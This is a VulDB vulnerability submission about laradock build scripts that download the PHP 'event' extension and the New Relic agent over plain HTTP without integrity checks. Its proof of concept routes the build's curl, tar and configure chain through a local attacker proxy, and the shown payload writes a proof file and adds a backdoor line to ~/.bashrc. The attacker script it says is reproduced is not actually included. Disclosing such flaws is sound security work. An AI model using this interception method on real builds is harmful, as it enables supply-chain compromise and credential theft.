Submeter #944355: laradock v20.4 Download of Code Without Integrity Check

BUILD-TIME REMOTE CODE EXECUTION VIA UNAUTHENTICATED PLAIN-HTTP DEPENDENCY DOWNLOADS (NO INTEGRITY CHECK)

WHERE :

A) PHP "event" extension source fetched over plain HTTP, then compiled+installed:

workspace/Dockerfile line 1906
curl -L -o /tmp/event.tar.gz http://pecl.php.net/get/event-3.0.6.tgz &&\
mkdir -p /tmp/event-php &&\
tar -C /tmp/event-php -zxvf /tmp/event.tar.gz --strip 1 &&\
cd /tmp/event-php &&\
phpize &&\
./configure --with-event-libevent-dir=/usr/local/libevent-2.1.12/ &&\
make && make install ...

php-fpm/Dockerfile line 1391 (identical pattern)
php-worker/Dockerfile line 651 (identical pattern)

Triggered by build args (documented features):
WORKSPACE_INSTALL_EVENT=true (workspace/defaults.env:227, default false)
PHP_FPM_INSTALL_EVENT=true (php-fpm/defaults.env:141, default false)
PHP_WORKER_INSTALL_EVENT=true (php-worker/defaults.env:64, default false)

B) New Relic PHP agent tarball over plain HTTP, piped straight into tar and its
installer executed:

php-fpm/Dockerfile line 1285
curl -L http://download.newrelic.com/php_agent/archive/10.15.0.4/\
newrelic-php5-10.15.0.4-linux.tar.gz | tar -C /tmp -zx && \
/tmp/newrelic-php5-*/newrelic-install install && ...

Triggered by: PHP_FPM_NEW_RELIC=true (php-fpm/defaults.env:153, default false)

ROOT CAUSE:

*The download URL uses scheme http:// (no TLS). Live test showed pecl.php.net answers HTTP requests DIRECTLY with 200 OK (no redirect):
HTTP/1.1 200 OK
Server: BunnyCDN-ND1-1434
Content-Length: 198565
download.newrelic.com currently 301-redirects to HTTPS, but that does NOT help: an on-path attacker answering the FIRST plaintext request can serve
their own payload with 200 OK — curl never sees a redirect.
* No checksum/signature verification of ANY kind after download (no sha256sum,
no GPG). The archive content is trusted implicitly.
* The downloaded content is immediately EXECUTED at build time:
./configure / make / make install (A) or newrelic-install (B).
* Aggravating factor: laradock's own master wraps `pecl` with retry logic
complaining about pecl.php.net flakiness and fetches OTHER extensions over
https (e.g. mongodb) — proving HTTPS was available and this line is an
oversight, not a constraint.

IMPACT:
* Arbitrary code execution during `docker build` as ROOT inside the build container, on every machine that builds these images with the flags above.
* Malicious code is compiled INTO the image's PHP runtime (.so extension), surviving into every container started from the image — persistence across
rebuilds of containers (image layer persists until image rebuild).
* Workspace container mounts the developer's application source code and often cloud credentials (~/.aws, ~/.ssh if configured) -> source theft,
credential theft.
* PRODUCTION PROPAGATION PATH: production/Dockerfile line 23/25:
ARG BASE_IMAGE=laradock/php-fpm:latest-${PHP_VERSION}
FROM ${BASE_IMAGE}
i.e. `./laradock ship` builds the user's PRODUCTION deploy artifact on top
of a potentially poisoned laradock/php-fpm base. Dev compromise escalates
into production supply-chain compromise.
* Attack prerequisites: network position during build (rogue Wi-Fi / AP,
ARP spoofing on LAN, compromised router/VPN, hijacked CI runner, DNS hijack) + victim using one of the opt-in flags.

Proof Of Concept:

STEP 1 — Confirm the endpoint really serves over plaintext HTTP (live):

$ curl -sSI --max-time 15 http://pecl.php.net/get/event-3.0.6.tgz

RESULT:
HTTP/1.1 200 OK
Content-Type: application/octet-stream
Content-Length: 198565
Server: BunnyCDN-ND1-1434
Last-Modified: Thu, 23 Sep 2021 09:15:30 GMT
-> served directly over HTTP, no TLS hop, no integrity metadata.

$ curl -sSI --max-time 15 \
http://download.newrelic.com/php_agent/archive/10.15.0.4/\
newrelic-php5-10.15.0.4-linux.tar.gz

RESULT:
HTTP/1.1 301 Moved Permanently
Location: https://download.newrelic.com/...
Server: cloudflare
-> redirects today, but irrelevant vs. active MITM (see root cause).

STEP 2 — Attacker infrastructure: local server impersonating pecl.php.net,
serving a weaponized event-3.0.6.tgz whose ./configure executes
arbitrary code instead of configuring anything
(full source: attacker_server.py, reproduced below).

$ cd $TMP/poc1
$ rm -rf victim-build PWNED.txt && mkdir -p victim-build
$ ATTACKER_PORT=8099 nohup python3 attacker_server.py > attacker.log 2>&1 &

$ lsof -nP -iTCP:8099 -sTCP:LISTEN | tail -1
RESULT:
Python 54118 punia IPv4 127.0.0.1:8099 (LISTEN)

(Attempted binding real port 80 first — denied without privileges:
PermissionError: [Errno 13] Permission denied
so interception is modeled with an explicit proxy hop, which is what a
rogue AP / ARP-spoofing MITM effectively is.)

STEP 3 — Victim runs the EXACT command chain from laradock
workspace/Dockerfile lines 1906-1912 (only addition: `-x` routes the
request through the attacker = simulated DNS/ARP hijack):

$ cd victim-build
$ curl -L -x http://127.0.0.1:8099 -o /tmp/event.tar.gz \
http://pecl.php.net/get/event-3.0.6.tgz &&\
mkdir -p /tmp/event-php &&\
tar -C /tmp/event-php -zxvf /tmp/event.tar.gz --strip 1 &&\
cd /tmp/event-php &&\
./configure --with-event-libevent-dir=/usr/local/libevent-2.1.12/

RESULT (verbatim):
x configure
x Makefile
x config.m4
x php_event.h
configure: creating config.status <-- attacker script output

STEP 4 — Prove attacker-controlled execution occurred:

$ cat /tmp/opencode/poc1/PWNED.txt
RESULT (verbatim):
== RCE proof ==
Sun Aug 23 23:59:33 UTC 2026
uid=501(punia) gid=20(staff) groups=20(staff),...
Darwin Sahils-MacBook-Pro.local 25.6.0 Darwin Kernel Version 25.6.0 ...
/tmp/event-php

The payload also appended 'export BACKDOOR=yes' to ~/.bashrc demonstrating
image-layer persistence (in a real build: root-owned file inside the image).

• Fonte: ⚠️ https://github.com/s4hilpuni4/laradock_build_time_rce_http_download.git
• Utilizador: SahilPunia (UID 100761)
• Submissão: 24/08/2026 02h42 (há 1 mês)
• Moderação: 03/10/2026 15h24 (1 month later)
• Estado: Aceite
• Entrada VulDB: 413353 [Laradock até 20.4 Build Process workspace/Dockerfile Divulgação de Informação]
• Pontos: 20